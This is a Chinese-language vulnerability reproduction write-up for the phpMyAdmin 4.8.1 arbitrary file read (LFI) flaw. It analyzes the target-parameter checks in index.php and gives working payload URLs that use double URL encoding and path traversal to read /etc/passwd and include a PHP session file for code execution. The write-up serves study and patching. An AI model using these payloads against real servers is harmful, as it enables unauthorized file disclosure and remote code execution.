天天看點

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

漏洞影響版本: 4.8.1

0X1 環境搭建

下載下傳源碼包之後本地搭建放置在phpstudy的WWW目錄下即可。

通路環境,不需要密碼即可登入到phpmyadmin頁面

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

0X2 漏洞分析

漏洞問題出在index.php的第53行開始位置:

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

target參數沒有過濾,并且直接include,很顯然是LFI的前奏

第57行限制 target 參數不能以index開頭

第58行限制 target 參數不能出現在 $target_blacklist 内

找到 $target_blacklist 的定義:

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

就在 /index.php 的第50行

隻要 target 參數不是import.php 或 export.php 就行

最後一個限制是如下方法

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

問題出現在了第 465 行的urldecode()

我們可以利用這個函數繞過白名單檢測!

我把 ? 兩次url編碼為 %253f 即可繞過驗證!

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

0X3 漏洞利用

最後的payload是:

http://10.10.1.26:8082/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

通路之後得到passwd結果

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

寫入shell,測試語句:<?php phpinfo();exit;?>

Bp抓包擷取本地的cookie值:

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

通路:

http://10.10.1.26:8082/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_de2e83061d3002f6418823905abb63cb

PHPMyAdmin4.8.1任意檔案讀取漏洞複現

0X4 漏洞修複

更新到最新版即可